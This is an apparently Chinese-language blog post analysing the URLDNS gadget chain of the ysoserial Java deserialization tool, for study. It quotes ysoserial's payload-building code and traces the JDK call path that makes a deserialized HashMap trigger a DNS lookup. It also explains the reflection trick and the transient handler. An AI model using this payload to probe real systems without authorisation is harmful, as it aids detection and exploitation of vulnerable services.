• YsoSerial 工具常用Payload分析之URLDNS


    ysoserial

    本文假设你对Java基本数据结构、Java反序列化、高级特性(反射、动态代理)等有一定的了解。

    背景

    YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP。java -jar ysoserial.jar 可以直接查看payload适用环境及其适用版本。

    image-20210721172218101

    关于此工具的背景,我引用P神的《Java安全漫游》文章对其的描述:

    2015年Gabriel Lawrence (@gebl)和Chris Frohoffff (@frohoffff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚Java安全的蓝海。⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。

    下载工具源码发现主要payload生成逻辑都在ysoserial.payloads包下面:

    image-20210721173341240

    接下来主要针对 URLDNS、 CommonCollections1-7、CommonsBeanutils 利用链进行分析:

    URLDNS

    URLDNS 是要介绍的几条链中调用逻辑最简单的一条,所以以这条链开始。我们来看看yso是怎么写的

    public Object getObject(final String url) throws Exception {
                    //Avoid DNS resolution during payload creation
                    //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                    URLStreamHandler handler = new SilentURLStreamHandler();
    
                    HashMap ht = new HashMap(); // HashMap that will contain the URL
                    URL u = new URL(null, url, handler); // URL to use as the Key
                    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    
                    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
    
                    return ht;
    }
    

    getObject方法就是获取最后的利用类,return的是一个以精心构造的URL对象为key,url字符串为值的hashMap,调试一下看下调用链。

    image-20210721192804204

    HashMap.readOject -> HashMap.hash() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()(获取url的dns地址)

    1. HashMap.readOject()

    readObject中有读取key,然后对key进行hash操作,从yso代码得知,hashmap的key为精心构造的URL对象

    private void readObject(java.io.ObjectInputStream s)
            throws IOException, ClassNotFoundException {
            // Read in the threshold (ignored), loadfactor, and any hidden stuff
            s.defaultReadObject();
            s.readInt();                // Read and ignore number of buckets
            int mappings = s.readInt(); // Read number of mappings (size)
     
    ....
    ....
                // Read the keys and values, and put the mappings in the HashMap
                for (int i = 0; i < mappings; i++) {
                    @SuppressWarnings("unchecked")
                        K key = (K) s.readObject();
                    @SuppressWarnings("unchecked")
                        V value = (V) s.readObject();
                    putVal(hash(key), key, value, false, false);
                }
            }
        }
    
    1. HashMap.hash()

    跟进hash,里面调用了URL对象的hashCode()方法。

        static final int hash(Object key) {
            int h;
            return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
        }
    
    1. URL.hashCode()

    URL对象的存在默认的私有hashCode变量其值为-1,所以会调用yso代码中URL对象构造方法的第三个参数,URLStreamHandler的hashcode。

      public synchronized int hashCode() {
            if (hashCode != -1)
                return hashCode;
    
            hashCode = handler.hashCode(this);
            return hashCode;
      }
    
        private int hashCode = -1;
    
    1. URLStreamHandler.hashCode()

    然后调用URLStreamHandler的getHostAddress()方法

    protected int hashCode(URL u) {
    
       
    ...
            // Generate the host part.
            InetAddress addr = getHostAddress(u);
     ...
    
            return h;
        }
    
    1. URL.getHost()

    getHost 就会发起对应url的请求,后续就不用再跟了。

    rotected synchronized InetAddress getHostAddress(URL u) {
    ...
            String host = u.getHost();
    ...
            return u.hostAddress;
        }
    

    以上就是URLDNS的调用逻辑,但是在yso中还是有两个点值得我们注意:

    1. Reflections.setFieldValue(u, "hashCode", -1); 这一行代码是干嘛的,是多余的吗?
    2. 为什么SilentURLStreamHandler 会实现两个空方法?

    首先第一个问题,这一行代码是干嘛的,为什么要将URL对象中的hashcode通过反射的方式设置为-1呢,URL对象中的hash code本身就是-1,为什么要这么做?

    image-20210721200359928

    ​ 其实通过代码中的注释我们也能知道,在hashMap进行put操作时,会调用hash()方法,进而完成了一次类似反序列化的调用,handler调用hashcode()方法时也会将默认的hashCode值进行重新计算,所以put()完,本身的hashCode已经不为-1了,所以反序列就不会在继续执行handler.hashCode(this),也就没发触发DNS请求。

      public synchronized int hashCode() {
            if (hashCode != -1)
                return hashCode;
    
            hashCode = handler.hashCode(this);
            return hashCode;
      }
    

    第二个问题,其实和第一个问题一样,在put时也会进行一次hash()调用从而进行一次dns请求,为了避免在生成payload对象时候发起dns请求,所以继承了URLStreamHandler,实现getHostAddress、openConnection两个方法进行空操作,进而在生产payload对象时就不会发器dns请求了。

    刚开始看到这里的时候我比较疑惑,重写了这两个方法到时候在使用这个payload去利用的时候不就没发正常发起DNS请求了吗,那这样做意义何在?原来我忽略了一个东西,在URL类中,URLStreamHandler被transient关键字标记,transient标记的属性在序列化时不会带入序列化的数据里面,这样在生成payload或者调试的时候不会发起DNS请求,但又不影响payload的正常使用,非常巧妙。

    image-20210721202146438

    总结

    URLDNS是一个不需要依赖其他包的反序列化利用,且调用过程比较简单,只会在HashMap与StreamHandler之间调用,稍微需要注意的也就是亮点,一个为什么要将hashcode最后通过反射的方式置为-1,另一个是为什么重写过StreamHandler两个方法为空操作后仍然能在凡序化后正常发起dns请求。

    虽然URLDNS这条链很简单,但其实它做不了什么,仅仅只能帮助我们判断这个地方可能存在用户可控的凡序列化问题,仍然不能进行进一步的利用,那要怎么才能利用乃至RCE呢? 下一专题Common-collections1 就来帮助我们解决这个问题。

    公众号

    欢迎关注我的公众号!

  • 相关阅读:
    python变量赋值(可变与不可变)
    cx_Oracle读取中文乱码问题(转载)
    Lookandsay sequence(看读序列)
    oracle 效率之 not in 和exists
    python encode和decode函数说明
    PILpython的图像处理模块
    iOS中判断一个文件夹是否存在
    Validate Email Account using Regular Expression in ObjectiveC
    UILabel描边
    获取app当前可用的剩余内存
  • 原文地址:https://www.cnblogs.com/9eek/p/15050016.html
Copyright © 2020-2023  润新知